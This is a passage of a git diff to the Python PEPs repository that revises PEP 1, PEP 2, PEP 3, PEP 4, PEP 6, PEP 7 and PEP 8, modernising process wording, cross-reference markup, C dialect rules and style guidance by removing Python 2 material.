:pep:`1` (this PEP). PEP Maintenance --------------- -In general, Standards track PEPs are no longer modified after they have -reached the Final state. Once a PEP has been completed, the Language and -Standard Library References become the formal documentation of the expected -behavior. +In general, PEPs are no longer substantially modified after they have reached +the Accepted, Final, Rejected or Superseded state. Once resolution is reached, +a PEP is considered a historical document rather than a living specification. +Formal documentation of the expected behavior should be maintained elsewhere, +such as the `Language Reference`_ for core features, the `Library Reference`_ +for standard library modules or the `PyPA Specifications`_ for packaging. If changes based on implementation experience and user feedback are made to -Standards track PEPs while in the Accepted or Provisional State, those changes -should be noted in the PEP, such that the PEP accurately describes the state of +Standards track PEPs while in the Provisional or (with SC approval) Accepted +state, they should be noted in the PEP, such that the PEP accurately describes the implementation at the point where it is marked Final. -Informational and Process PEPs may be updated over time to reflect changes -to development practices and other details. The precise process followed in -these cases will depend on the nature and purpose of the PEP being updated. +Active (Informational and Process) PEPs may be updated over time to reflect +changes to development practices and other details. The precise process +followed in these cases will depend on the nature and purpose of the PEP +in question. +Occasionally, a Deferred or even a Withdrawn PEP may be resurrected +with major updates, but it is often better to just propose a new one. What belongs in a successful PEP? @@ -410,7 +486,7 @@ What belongs in a successful PEP? Each PEP should have the following parts/sections: -1. Preamble -- RFC 822 style headers containing meta-data about the +1. Preamble -- :rfc:`2822` style headers containing meta-data about the PEP, including the PEP number, a short descriptive title (limited to a maximum of 44 characters), the names, and optionally the contact info for each author, etc. @@ -421,8 +497,10 @@ Each PEP should have the following parts/sections: 3. Motivation -- The motivation is critical for PEPs that want to change the Python language, library, or ecosystem. It should clearly explain why the existing language specification is - inadequate to address the problem that the PEP solves. PEP - submissions without sufficient motivation may be rejected outright. + inadequate to address the problem that the PEP solves. This can + include collecting documented support for the PEP from important + projects in the Python ecosystem. PEP submissions without + sufficient motivation may be rejected. 4. Rationale -- The rationale fleshes out the specification by describing why particular design decisions were made. It should @@ -489,7 +567,8 @@ Each PEP should have the following parts/sections: ready for consideration are complete and reduces people duplicating prior discussion. -12. References -- A collection of URLs used as references through the PEP. +12. Footnotes -- A collection of footnotes cited in the PEP, and + a place to list non-inline hyperlink targets. 13. Copyright/license -- Each new PEP must be placed under a dual license of public domain and CC0-1.0-Universal_ (see this PEP for an example). @@ -499,56 +578,65 @@ PEP Formats and Templates ========================= PEPs are UTF-8 encoded text files using the reStructuredText_ format. -ReStructuredText_ allows for rich markup that is still quite easy to -read, but also results in good-looking and functional HTML. PEP 12 -contains instructions and a template [4]_ for reStructuredText PEPs. +reStructuredText allows for rich markup that is still quite easy to +read, but also results in good-looking and functional HTML. :pep:`12` +contains instructions and a :pep:`PEP template <12#suggested-sections>`. -The PEP text files are automatically converted to HTML [6]_ for easier -`online reading `__. +The PEP text files are automatically +`converted to HTML `__ +(via a `Sphinx `_-based :pep:`build system <676>`) +for easier `online reading `__. PEP Header Preamble =================== -Each PEP must begin with an RFC 822 style header preamble. The headers +Each PEP must begin with an :rfc:`2822` style header preamble. The headers must appear in the following order. Headers marked with "*" are -optional and are described below. All other headers are required. :: +optional and are described below. All other headers are required. + +.. code-block:: text PEP: Title: Author: * Sponsor: * PEP-Delegate: - * Discussions-To: + Discussions-To: Status: Type: - * Content-Type: + * Content-Type: text/x-rst * Requires: Created: * Python-Version: - Post-History: + Post-History: * Replaces: * Superseded-By: * Resolution: The Author header lists the names, and optionally the email addresses of all the authors/owners of the PEP. The format of the Author header -value must be +values must be: - Random J. User +.. code-block:: text -if the email address is included, and just + Random J. User + +if the email address is included, and just: + +.. code-block:: text Random J. User if the address is not given. For historical reasons the format -"address@dom.ain (Random J. User)" may appear in a PEP, however new -PEPs must use the mandated format above, and it is acceptable to +``random@example.com (Random J. User)`` may appear in a PEP; +however, new PEPs must use the mandated format above, and it is acceptable to change to this format when PEPs are updated. If there are multiple authors, each should be on a separate line -following RFC 2822 continuation line conventions. Note that personal +following :rfc:`2822` continuation line conventions. Note that personal email addresses in PEPs will be obscured as a defense against spam harvesters. @@ -564,31 +652,27 @@ limitation in the email address masking for reStructuredText PEPs) *Note: The Resolution header is required for Standards Track PEPs only. It contains a URL that should point to an email message or -other web resource where the pronouncement about the PEP is made.* +other web resource where the pronouncement about +(i.e. approval or rejection of) the PEP is made.* -For a PEP where final pronouncement will be made on a list other than -python-dev, a Discussions-To header will indicate the mailing list -or URL where the pronouncement will occur. A temporary Discussions-To header -may also be used when a draft PEP is being discussed prior to submission for -pronouncement. No Discussions-To header is necessary if the PEP is being -discussed privately with the author, or on the python-list, python-ideas -or python-dev mailing lists. Note that email addresses in the -Discussions-To header will not be obscured. +The Discussions-To header provides the URL to the current +canonical discussion thread for the PEP. +For email lists, this should be a direct link to the thread in the list's +archives, rather than just a mailto: or hyperlink to the list itself. The Type header specifies the type of PEP: Standards Track, Informational, or Process. -The format of a PEP is specified with a Content-Type header. The -acceptable values are "text/plain" for plaintext PEPs (see PEP 9 [3]_) -and "text/x-rst" for reStructuredText PEPs (see PEP 12 [4]_). -reStructuredText is strongly preferred, but for backwards -compatibility plain text is currently still the default if no -Content-Type header is present. +The format of a PEP is specified with a Content-Type header. +All PEPs must use reStructuredText (see :pep:`12`), +and have a value of ``text/x-rst``, the default. +Previously, plaintext PEPs used ``text/plain`` (see :pep:`9`). The Created header records the date that the PEP was assigned a -number, while Post-History is used to record the dates of when new -versions of the PEP are posted to python-ideas and/or python-dev. Both -headers should be in dd-mmm-yyyy format, e.g. 14-Aug-2001. +number, while Post-History is used to record the dates of and corresponding +URLs to the Discussions-To threads for the PEP, with the former as the +linked text, and the latter as the link target. +Both sets of dates should be in ``dd-mmm-yyyy`` format, e.g. ``14-Aug-2001``. Standards Track PEPs will typically have a Python-Version header which indicates the version of Python that the feature will be released with. @@ -621,23 +705,21 @@ Alternatively, all support files may be placed in a subdirectory called are no constraints on the names used in files. -Reporting PEP Bugs, or Submitting PEP Updates -============================================= +Changing Existing PEPs +====================== -How you report a bug, or submit a PEP update depends on several -factors, such as the maturity of the PEP, the preferences of the PEP -author, and the nature of your comments. For the early draft stages -of the PEP, it's probably best to send your comments and changes -directly to the PEP author. For more mature, or finished PEPs you may -want to submit corrections as a `GitHub issue`_ or `GitHub pull request`_ so that -your changes don't get lost. +Draft PEPs are freely open for discussion and proposed modification, at the +discretion of the authors, until submitted to the Steering Council or +PEP-Delegate for review and resolution. Substantive content changes should +generally be first proposed on the PEP's discussion thread listed in its +``Discussions-To`` header, while copyedits and corrections can be submitted +as a `GitHub issue`_ or `GitHub pull request`_. +PEP authors with write access to the PEP repository can update the PEPs +themselves by using ``git push`` or a GitHub PR to submit their changes. +For guidance on modifying other PEPs, consult the `PEP Maintenance`_ section. -When in doubt about where to send your changes, please check first -with the PEP author and/or a PEP editor. - -PEP authors with git push privileges for the PEP repository can update the -PEPs themselves by using "git push" or the GitHub PR interface to submit their -changes. +See the `Contributing Guide`_ for additional details, and when in doubt, +please check first with the PEP author and/or a PEP editor. Transferring PEP Ownership @@ -670,7 +752,7 @@ PEP Editor Responsibilities & Workflow A PEP editor must be added to the ``@python/pep-editors`` group on GitHub and must watch the `PEP repository`_. -Note that developers with git push privileges for the `PEP repository`_ may +Note that developers with write access to the `PEP repository`_ may handle the tasks that would normally be taken care of by the PEP editors. Alternately, even developers may request assistance from PEP editors by mentioning ``@python/pep-editors`` on GitHub. @@ -689,14 +771,22 @@ For each new PEP that comes in an editor does the following: * The file name extension is correct (i.e. ``.rst``). +* Ensure that everyone listed as a sponsor or co-author of the PEP who has write + access to the `PEP repository`_ is added to `.github/CODEOWNERS`_. + * Skim the PEP for obvious defects in language (spelling, grammar, sentence structure, etc.), and code style (examples should conform to - PEP 8 & PEP 7). Editors may correct problems themselves, but are - not required to do so. (Text format is checked by Travis CI.) + :pep:`7` & :pep:`8`). Editors may correct problems themselves, but are + not required to do so (reStructuredText syntax is checked by the repo's CI). + +* If a project is portrayed as benefiting from or supporting the PEP, make sure + there is some direct indication from the project included to make the support + clear. This is to avoid a PEP accidentally portraying a project as supporting + a PEP when in fact the support is based on conjecture. If the PEP isn't ready, an editor will send it back to the author for revision, with specific instructions. If reST formatting is a -problem, ask the author(s) to use PEP 12 as a template and resubmit. +problem, ask the author(s) to use :pep:`12` as a template and resubmit. Once the PEP is ready for the repository, a PEP editor will: @@ -711,26 +801,13 @@ Once the PEP is ready for the repository, a PEP editor will: ("Standards Track", "Informational", or "Process"), and marked its status as "Draft". -* Add the PEP to a local fork of the PEP repository. For workflow - instructions, follow `The Python Developers Guide `_ - - The git repo for the peps is:: - - https://github.com/python/peps - -* Run ``./genpepindex.py`` and ``./pep2html.py `` to ensure they - are generated without errors. If either triggers errors, then the web site - will not be updated to reflect the PEP changes. +* Ensure all CI build and lint checks pass without errors, + and there are no obvious issues in the rendered preview output. -* Commit and push the new (or updated) PEP +* Merge the new (or updated) PEP. -* Monitor python.org to make sure the PEP gets added to the site - properly. If it fails to appear, running ``make`` will build all of the - current PEPs. If any of these are triggering errors, they must be - corrected before any PEP will update on the site. - -* Send email back to the PEP author with next steps (post to - python-list & -dev). +* Inform the author of the next steps (open a discussion thread and + update the PEP with it, post an announcement to Python-Dev, etc). Updates to existing PEPs should be submitted as a `GitHub pull request`_. @@ -744,54 +821,54 @@ administrative & editorial part (which is generally a low volume task). Resources: -* `Index of Python Enhancement Proposals `_ +* `Index of Python Enhancement Proposals `_ * `Following Python's Development - `_ + `_ -* `Python Developer's Guide `_ +* `Python Developer's Guide `_ -* `Frequently Asked Questions for Developers - `_ +Footnotes +========= -References and Footnotes -======================== +.. _.github/CODEOWNERS: https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners -.. [1] This historical record is available by the normal git commands - for retrieving older revisions, and can also be browsed via HTTP here: - https://github.com/python/peps +.. _Python issue tracker: https://github.com/python/cpython/issues -.. [2] PEP 2, Procedure for Adding New Modules - (http://www.python.org/dev/peps/pep-0002) +.. _CC0-1.0-Universal: https://choosealicense.com/licenses/cc0-1.0/ -.. [3] PEP 9, Sample Plaintext PEP Template - (http://www.python.org/dev/peps/pep-0009) +.. _reStructuredText: https://www.sphinx-doc.org/en/master/usage/restructuredtext/index.html -.. [4] PEP 12, Sample reStructuredText PEP Template - (http://www.python.org/dev/peps/pep-0012) +.. _PEP repository: https://github.com/python/peps -.. [5] PEP 13, Python Language Governance - (http://www.python.org/dev/peps/pep-0013) +.. _GitHub pull request: https://github.com/python/peps/pulls -.. [6] More details on the PEP rendering and publication process can be found - in the PEPs repo README at - https://github.com/python/peps/blob/master/README.rst +.. _GitHub issue: https://github.com/python/peps/issues -.. _issue tracker: - http://bugs.python.org/ +.. _Steering Council issue: https://github.com/python/steering-council/issues/new/choose -.. _CC0-1.0-Universal: https://choosealicense.com/licenses/cc0-1.0/ +.. _Python-Ideas: https://mail.python.org/mailman3/lists/python-ideas.python.org/ -.. _reStructuredText: http://docutils.sourceforge.net/rst.html +.. _Python-Dev: https://mail.python.org/mailman3/lists/python-dev.python.org/ -.. _Docutils: http://docutils.sourceforge.net/ +.. _Python Discourse: https://discuss.python.org/ -.. _PEP repository: https://github.com/python/peps +.. _Ideas category: https://discuss.python.org/c/ideas/ + +.. _PEPs category: https://discuss.python.org/c/peps/ + +.. _Typing-SIG: https://mail.python.org/mailman3/lists/typing-sig.python.org/ + +.. _Packaging category: https://discuss.python.org/c/packaging/ + +.. _Language Reference: https://docs.python.org/3/reference/index.html + +.. _Library Reference: https://docs.python.org/3/library/index.html -.. _`GitHub pull request`: https://github.com/python/peps/pulls +.. _PyPA Specifications: https://packaging.python.org/en/latest/specifications/ -.. _`GitHub issue`: https://github.com/python/peps/issues +.. _Contributing Guide: https://github.com/python/peps/blob/main/CONTRIBUTING.rst Copyright diff --git a/pep-0002.txt b/pep-0002.txt index b4c4235623f..73928ad1cd2 100644 --- a/pep-0002.txt +++ b/pep-0002.txt @@ -3,7 +3,7 @@ Title: Procedure for Adding New Modules Version: $Revision$ Last-Modified: $Date$ Author: Martijn Faassen -Status: Final +Status: Superseded Type: Process Content-Type: text/x-rst Created: 07-Jul-2001 @@ -35,10 +35,10 @@ the library; things that are missing but should be added. New functionality is commonly added to the library in the form of new modules. This PEP will describe the procedure for the *addition* of -new modules. PEP 4 deals with procedures for deprecation of modules; +new modules. :pep:`4` deals with procedures for deprecation of modules; the *removal* of old and unused modules from the standard library. Finally there is also the issue of *changing* existing modules to make -the picture of library evolution complete. PEP 3 and PEP 5 give some +the picture of library evolution complete. :pep:`3` and :pep:`5` give some guidelines on this. The continued maintenance of existing modules is an integral part of the decision on whether to add a new module to the standard library. Therefore, this PEP also introduces concepts @@ -67,7 +67,7 @@ Maintainer(s) All contributions to the standard library need one or more maintainers. This can be an individual, but it is frequently a group of people such as the XML- SIG. Groups may subdivide maintenance -tasks among themselves. One ore more maintainers shall be the *head +tasks among themselves. One or more maintainers shall be the *head maintainer* (usually this is also the main developer). Head maintainers are convenient people the integrators can address if they want to resolve specific issues, such as the ones detailed later in @@ -101,7 +101,7 @@ One or more maintainers shall step forward as PEP champion (the people listed in the Author field are the champions). The PEP champion(s) shall be the initial head maintainer(s). -As described in PEP 1, a standards track PEP should consist of a +As described in :pep:`1`, a standards track PEP should consist of a design document and a reference implementation. The library PEP differs from a normal standard track PEP in that the reference implementation should in this case always already have been written @@ -126,7 +126,7 @@ This different requirement exists for the following reasons: Once the library PEP has been submitted for review, the integrators will then evaluate it. The PEP will follow the normal PEP work flow -as described in PEP 1. If the PEP is accepted, they will work through +as described in :pep:`1`. If the PEP is accepted, they will work through the head maintainers to make the contribution ready for integration. @@ -155,7 +155,7 @@ In the case where no head maintainer can be found (possibly because there are no maintainers left), the integrators will issue a call to the community at large asking for new maintainers to step forward. If no one does, the integrators can decide to declare the contribution -deprecated as described in PEP 4. +deprecated as described in :pep:`4`. Open issues diff --git a/pep-0003.txt b/pep-0003.txt index 2d0e9118e00..92e9c049b71 100644 --- a/pep-0003.txt +++ b/pep-0003.txt @@ -35,8 +35,8 @@ Original Guidelines out, say, what all the open Tkinter bugs are. 2. If it's a minor feature request that you don't plan to address - right away, add it to PEP 42 or ask the owner to add it for you. - If you add the bug to PEP 42, mark the bug as "feature request", + right away, add it to :pep:`42` or ask the owner to add it for you. + If you add the bug to :pep:`42`, mark the bug as "feature request", "later", and "closed"; and add a comment to the bug saying that this is the case (mentioning the PEP explicitly). diff --git a/pep-0004.txt b/pep-0004.txt index 353f4563c48..d0b63625094 100644 --- a/pep-0004.txt +++ b/pep-0004.txt @@ -56,7 +56,7 @@ For modules existing in both Python 2.7 and Python 3.5 In order to facilitate writing code that works in both Python 2 & 3 simultaneously, any module that exists in both Python 3.5 and Python 2.7 will not be removed from the standard library until -Python 2.7 is no longer supported as specified by PEP 373. Exempted +Python 2.7 is no longer supported as specified by :pep:`373`. Exempted from this rule is any module in the idlelib package as well as any exceptions granted by the Python development team. @@ -293,7 +293,7 @@ Deprecated modules Deprecation of modules removed in Python 3.0 ============================================ -PEP 3108 lists all modules that have been removed from Python 3.0. +:pep:`3108` lists all modules that have been removed from Python 3.0. They all are documented as deprecated in Python 2.6, and raise a DeprecationWarning if the -3 flag is activated. diff --git a/pep-0006.txt b/pep-0006.txt index 93cb72d8498..6a1f64e5d82 100644 --- a/pep-0006.txt +++ b/pep-0006.txt @@ -7,7 +7,7 @@ Status: Active Type: Process Content-Type: text/x-rst Created: 15-Mar-2001 -Post-History: 15-Mar-2001 18-Apr-2001 19-Aug-2004 +Post-History: 15-Mar-2001, 18-Apr-2001, 19-Aug-2004 @@ -143,7 +143,7 @@ the maintenance branch, or else mark the patch in the commit message. In addition, anyone from the Python community is free to suggest patches for inclusion. Patches may be submitted specifically for -bugfix releases; they should follow the guidelines in PEP 3 [2]_. In +bugfix releases; they should follow the guidelines in :pep:`3`. In general, though, it's probably better that a bug in a specific release also be fixed on the HEAD as well as the branch. @@ -194,7 +194,7 @@ sticking with a strict bug fix policy. Following feedback from the BDFL and others, the draft PEP was written containing an expanded bugfix release cycle that permitted any previous major release to obtain patches and also relaxed the strict -bug fix requirement (mainly due to the example of PEP 235 [3]_, which +bug fix requirement (mainly due to the example of :pep:`235`, which could be argued as either a bug fix or a feature). Discussion then mostly moved to python-dev, where BDFL finally issued @@ -213,13 +213,6 @@ References .. [1] http://www.tcl.tk/cgi-bin/tct/tip/28.html -.. [2] PEP 3, Guidelines for Handling Bug Reports, Hylton - (http://www.python.org/dev/peps/pep-0003/) - -.. [3] PEP 235, Import on Case-Insensitive Platforms, Peters - (http://www.python.org/dev/peps/pep-0235/) - - Copyright ========= diff --git a/pep-0007.txt b/pep-0007.txt index 4278e4c12bf..d88373f29b3 100644 --- a/pep-0007.txt +++ b/pep-0007.txt @@ -15,7 +15,7 @@ Introduction This document gives coding conventions for the C code comprising the C implementation of Python. Please see the companion informational PEP -describing style guidelines for Python code [1]_. +describing :pep:`style guidelines for Python code <8>`. Note, rules are there to be broken. Two good reasons to break a particular rule: @@ -31,13 +31,11 @@ particular rule: C dialect ========= -* Python versions before 3.6 use ANSI/ISO standard C (the 1989 version - of the standard). This means (amongst many other things) that all - declarations must be at the top of a block (not necessarily at the - top of function). +* Python 3.11 and newer versions use C11 without `optional features + `_. + The public C API should be compatible with C++. -* Python versions greater than or equal to 3.6 use C89 with several - select C99 features: +* Python 3.6 to 3.10 use C89 with several select C99 features: - Standard integer types in ```` and ````. We require the fixed width integer types. @@ -47,19 +45,22 @@ C dialect - booleans - C++-style line comments - Future C99 features may be added to this list in the future - depending on compiler support (mostly significantly MSVC). +* Python versions before 3.6 used ANSI/ISO standard C (the 1989 version + of the standard). This meant (amongst many other things) that all + declarations must be at the top of a block (not necessarily at the + top of function). -* Don't use GCC extensions (e.g. don't write multi-line strings - without trailing backslashes). +* Don't use compiler-specific extensions, such as those of GCC or MSVC + (e.g. don't write multi-line strings without trailing backslashes). * All function declarations and definitions must use full prototypes (i.e. specify the types of all arguments). -* Only use C++ style // one-line comments in Python 3.6 or later. - * No compiler warnings with major compilers (gcc, VC++, a few others). +* ``static inline`` functions should be preferred over macros in new + code. + Code lay-out ============ @@ -144,10 +145,12 @@ Code lay-out * For external functions and variables, we always have a declaration in an appropriate header file in the "Include" directory, which uses - the ``PyAPI_FUNC()`` macro, like this:: + the ``PyAPI_FUNC()`` macro and ``PyAPI_DATA()`` macro, like this:: PyAPI_FUNC(PyObject *) PyObject_Repr(PyObject *); + PyAPI_DATA(PyTypeObject) PySuper_Type; + Naming conventions ================== @@ -217,13 +220,6 @@ Documentation Strings not all do; the MSVC compiler is known to complain about this. -References -========== - -.. [1] PEP 8, "Style Guide for Python Code", van Rossum, Warsaw - (http://www.python.org/dev/peps/pep-0008) - - Copyright ========= diff --git a/pep-0008.txt b/pep-0008.txt index 8bf669b9fa0..cf126b4a4b4 100644 --- a/pep-0008.txt +++ b/pep-0008.txt @@ -17,10 +17,10 @@ Introduction This document gives coding conventions for the Python code comprising the standard library in the main Python distribution. Please see the -companion informational PEP describing style guidelines for the C code -in the C implementation of Python [1]_. +companion informational PEP describing :pep:`style guidelines for the C code +in the C implementation of Python <7>`. -This document and PEP 257 (Docstring Conventions) were adapted from +This document and :pep:`257` (Docstring Conventions) were adapted from Guido's original Python Style Guide essay, with some additions from Barry's style guide [2]_. @@ -38,7 +38,7 @@ A Foolish Consistency is the Hobgoblin of Little Minds One of Guido's key insights is that code is read much more often than it is written. The guidelines provided here are intended to improve the readability of code and make it consistent across the wide -spectrum of Python code. As PEP 20 says, "Readability counts". +spectrum of Python code. As :pep:`20` says, "Readability counts". A style guide is about consistency. Consistency with this style guide is important. Consistency within a project is more important. @@ -189,15 +189,8 @@ Spaces are the preferred indentation method. Tabs should be used solely to remain consistent with code that is already indented with tabs. -Python 3 disallows mixing the use of tabs and spaces for indentation. +Python disallows mixing tabs and spaces for indentation. -Python 2 code indented with a mixture of tabs and spaces should be -converted to using spaces exclusively. - -When invoking the Python 2 command line interpreter with -the ``-t`` option, it issues warnings about code that illegally mixes -tabs and spaces. When using ``-tt`` these warnings become errors. -These options are highly recommended! Maximum Line Length ------------------- @@ -234,8 +227,8 @@ parentheses. These should be used in preference to using a backslash for line continuation. Backslashes may still be appropriate at times. For example, long, -multiple ``with``-statements cannot use implicit continuation, so -backslashes are acceptable:: +multiple ``with``-statements could not use implicit continuation +before Python 3.10, so backslashes were acceptable for that case:: with open('/path/to/some/file/you/want/to/read') as file_1, \ open('/path/to/some/file/being/written', 'w') as file_2: @@ -303,7 +296,7 @@ related one-liners (e.g. a set of dummy implementations). Use blank lines in functions, sparingly, to indicate logical sections. Python accepts the control-L (i.e. ^L) form feed character as -whitespace; Many tools treat these characters as page separators, so +whitespace; many tools treat these characters as page separators, so you may use them to separate pages of related sections of your file. Note, some editors and web-based code viewers may not recognize control-L as a form feed and will show another glyph in its place. @@ -311,28 +304,19 @@ control-L as a form feed and will show another glyph in its place. Source File Encoding -------------------- -Code in the core Python distribution should always use UTF-8 (or ASCII -in Python 2). - -Files using ASCII (in Python 2) or UTF-8 (in Python 3) should not have -an encoding declaration. - -In the standard library, non-default encodings should be used only for -test purposes or when a comment or docstring needs to mention an author -name that contains non-ASCII characters; otherwise, using ``\x``, -``\u``, ``\U``, or ``\N`` escapes is the preferred way to include -non-ASCII data in string literals. - -For Python 3.0 and beyond, the following policy is prescribed for the -standard library (see PEP 3131): All identifiers in the Python -standard library MUST use ASCII-only identifiers, and SHOULD use -English words wherever feasible (in many cases, abbreviations and -technical terms are used which aren't English). In addition, string -literals and comments must also be in ASCII. The only exceptions are -(a) test cases testing the non-ASCII features, and -(b) names of authors. Authors whose names are not based on the -Latin alphabet (latin-1, ISO/IEC 8859-1 character set) MUST provide -a transliteration of their names in this character set. +Code in the core Python distribution should always use UTF-8, and should not +have an encoding declaration. + +In the standard library, non-UTF-8 encodings should be used only for +test purposes. Use non-ASCII characters sparingly, preferably only to +denote places and human names. If using non-ASCII characters as data, +avoid noisy Unicode characters like z̯̯͡a̧͎̺l̡͓̫g̹̲o̡̼̘ and byte order +marks. + +All identifiers in the Python standard library MUST use ASCII-only +identifiers, and SHOULD use English words wherever feasible (in many +cases, abbreviations and technical terms are used which aren't +English). Open source projects with a global audience are encouraged to adopt a similar policy. @@ -387,9 +371,6 @@ Imports Standard library code should avoid complex package layouts and always use absolute imports. - Implicit relative imports should *never* be used and have been removed - in Python 3. - - When importing a class from a class-containing module, it's usually okay to spell this:: @@ -450,7 +431,7 @@ characters, however, use the other one to avoid backslashes in the string. It improves readability. For triple-quoted strings, always use double quote characters to be -consistent with the docstring convention in PEP 257. +consistent with the docstring convention in :pep:`257`. Whitespace in Expressions and Statements @@ -484,12 +465,12 @@ Avoid extraneous whitespace in the following situations: - Immediately before a comma, semicolon, or colon:: # Correct: - if x == 4: print x, y; x, y = y, x + if x == 4: print(x, y); x, y = y, x :: # Wrong: - if x == 4 : print x , y ; x , y = y , x + if x == 4 : print(x , y) ; x , y = y , x - However, in a slice the colon acts like a binary operator, and should have equal amounts on either side (treating it as the @@ -674,9 +655,8 @@ When to Use Trailing Commas =========================== Trailing commas are usually optional, except they are mandatory when -making a tuple of one element (and in Python 2 they have semantics for -the ``print`` statement). For clarity, it is recommended to surround -the latter in (technically redundant) parentheses:: +making a tuple of one element. For clarity, it is recommended to +surround the latter in (technically redundant) parentheses:: # Correct: FILES = ('setup.cfg',) @@ -768,14 +748,14 @@ Documentation Strings --------------------- Conventions for writing good documentation strings -(a.k.a. "docstrings") are immortalized in PEP 257. +(a.k.a. "docstrings") are immortalized in :pep:`257`. - Write docstrings for all public modules, functions, classes, and methods. Docstrings are not necessary for non-public methods, but you should have a comment that describes what the method does. This comment should appear after the ``def`` line. -- PEP 257 describes good docstring conventions. Note that most +- :pep:`257` describes good docstring conventions. Note that most importantly, the ``"""`` that ends a multiline docstring should be on a line by itself:: @@ -885,8 +865,8 @@ ASCII Compatibility Identifiers used in the standard library must be ASCII compatible as described in the -`policy section `_ -of PEP 3131. +:pep:`policy section <3131#policy-specification>` +of :pep:`3131`. Package and Module Names ~~~~~~~~~~~~~~~~~~~~~~~~ @@ -916,7 +896,7 @@ convention used only for exception names and builtin constants. Type Variable Names ~~~~~~~~~~~~~~~~~~~ -Names of type variables introduced in PEP 484 should normally use CapWords +Names of type variables introduced in :pep:`484` should normally use CapWords preferring short names: ``T``, ``AnyStr``, ``Num``. It is recommended to add suffixes ``_co`` or ``_contra`` to the variables used to declare covariant or contravariant behavior correspondingly:: @@ -1043,12 +1023,10 @@ With this in mind, here are the Pythonic guidelines: functional implementation behind simple data attribute access syntax. - Note 1: Properties only work on new-style classes. - - Note 2: Try to keep the functional behavior side-effect free, + Note 1: Try to keep the functional behavior side-effect free, although side-effects such as caching are generally fine. - Note 3: Avoid using properties for computationally expensive + Note 2: Avoid using properties for computationally expensive operations; the attribute notation makes the caller believe that access is (relatively) cheap. @@ -1147,7 +1125,7 @@ Programming Recommendations To minimize the effort involved, the ``functools.total_ordering()`` decorator provides a tool to generate missing comparison methods. - PEP 207 indicates that reflexivity rules *are* assumed by Python. + :pep:`207` indicates that reflexivity rules *are* assumed by Python. Thus, the interpreter may swap ``y > x`` with ``x < y``, ``y >= x`` with ``x <= y``, and may swap the arguments of ``x == y`` and ``x != y``. The ``sort()`` and ``min()`` operations are guaranteed to use @@ -1181,7 +1159,7 @@ Programming Recommendations *catching* the exceptions is likely to need, rather than the locations where the exceptions are raised. Aim to answer the question "What went wrong?" programmatically, rather than only stating that - "A problem occurred" (see PEP 3151 for an example of this lesson being + "A problem occurred" (see :pep:`3151` for an example of this lesson being learned for the builtin exception hierarchy) Class naming conventions apply here, although you should add the @@ -1189,25 +1167,15 @@ Programming Recommendations error. Non-error exceptions that are used for non-local flow control or other forms of signaling need no special suffix. -- Use exception chaining appropriately. In Python 3, "raise X from Y" +- Use exception chaining appropriately. ``raise X from Y`` should be used to indicate explicit replacement without losing the original traceback. - When deliberately replacing an inner exception (using "raise X" in - Python 2 or "raise X from None" in Python 3.3+), ensure that relevant - details are transferred to the new exception (such as preserving the - attribute name when converting KeyError to AttributeError, or - embedding the text of the original exception in the new exception - message). - -- When raising an exception in Python 2, use ``raise ValueError('message')`` - instead of the older form ``raise ValueError, 'message'``. - - The latter form is not legal Python 3 syntax. - - The paren-using form also means that when the exception arguments are - long or include string formatting, you don't need to use line - continuation characters thanks to the containing parentheses. + When deliberately replacing an inner exception (using ``raise X from + None``), ensure that relevant details are transferred to the new + exception (such as preserving the attribute name when converting + KeyError to AttributeError, or embedding the text of the original + exception in the new exception message). - When catching exceptions, mention specific exceptions whenever possible instead of using a bare ``except:`` clause:: @@ -1235,17 +1203,6 @@ Programming Recommendations exception propagate upwards with ``raise``. ``try...finally`` can be a better way to handle this case. -- When binding caught exceptions to a name, prefer the explicit name - binding syntax added in Python 2.6:: - - try: - process_data() - except Exception as exc: - raise DataProcessingFailedError(str(exc)) - - This is the only syntax supported in Python 3, and avoids the - ambiguity problems associated with the older comma-based syntax. - - When catching operating system errors, prefer the explicit exception hierarchy introduced in Python 3.3 over introspection of ``errno`` values. @@ -1327,12 +1284,6 @@ Programming Recommendations return return math.sqrt(x) -- Use string methods instead of the string module. - - String methods are always much faster and share the same API with - unicode strings. Override this rule if backwards compatibility with - Pythons older than 2.0 is required. - - Use ``''.startswith()`` and ``''.endswith()`` instead of string slicing to check for prefixes or suffixes. @@ -1357,16 +1308,6 @@ Programming Recommendations # Wrong: if type(obj) is type(1): -When checking if an object is a string, keep in mind that it might -be a unicode string too! In Python 2, str and unicode have a -common base class, basestring, so you can do:: - - if isinstance(obj, basestring): - -Note that in Python 3, ``unicode`` and ``basestring`` no longer exist -(there is only ``str``) and a bytes object is no longer a kind of -string (it is a sequence of integers instead). - - For sequences, (strings, lists, tuples), use the fact that empty sequences are false:: @@ -1415,19 +1356,18 @@ string (it is a sequence of integers instead). Function Annotations -------------------- -With the acceptance of PEP 484, the style rules for function -annotations are changing. +With the acceptance of :pep:`484`, the style rules for function +annotations have changed. -- In order to be forward compatible, function annotations in Python 3 - code should preferably use PEP 484 syntax. (There are some - formatting recommendations for annotations in the previous section.) +- Function annotations should use :pep:`484` syntax (there are some + formatting recommendations for annotations in the previous section). - The experimentation with annotation styles that was recommended previously in this PEP is no longer encouraged. -- However, outside the stdlib, experiments within the rules of PEP 484 +- However, outside the stdlib, experiments within the rules of :pep:`484` are now encouraged. For example, marking up a large third party - library or application with PEP 484 style type annotations, + library or application with :pep:`484` style type annotations, reviewing how easy it was to add those annotations, and observing whether their presence increases code understandability. @@ -1440,9 +1380,9 @@ annotations are changing. # type: ignore - near the top of the file; this tells type checker to ignore all + near the top of the file; this tells type checkers to ignore all annotations. (More fine-grained ways of disabling complaints from - type checkers can be found in PEP 484.) + type checkers can be found in :pep:`484`.) - Like linters, type checkers are optional, separate tools. Python interpreters by default should not issue any messages due to type @@ -1451,19 +1391,16 @@ annotations are changing. - Users who don't want to use type checkers are free to ignore them. However, it is expected that users of third party library packages may want to run type checkers over those packages. For this purpose - PEP 484 recommends the use of stub files: .pyi files that are read + :pep:`484` recommends the use of stub files: .pyi files that are read by the type checker in preference of the corresponding .py files. Stub files can be distributed with a library, or separately (with the library author's permission) through the typeshed repo [5]_. -- For code that needs to be backwards compatible, type annotations - can be added in the form of comments. See the relevant section of - PEP 484 [6]_. Variable Annotations -------------------- -PEP 526 introduced variable annotations. The style recommendations for them are +:pep:`526` introduced variable annotations. The style recommendations for them are similar to those on function annotations described above: - Annotations for module level variables, class and instance variables, @@ -1492,9 +1429,9 @@ similar to those on function annotations described above: class Test: result: int=0 # No spaces around equality sign -- Although the PEP 526 is accepted for Python 3.6, the variable annotation +- Although the :pep:`526` is accepted for Python 3.6, the variable annotation syntax is the preferred syntax for stub files on all versions of Python 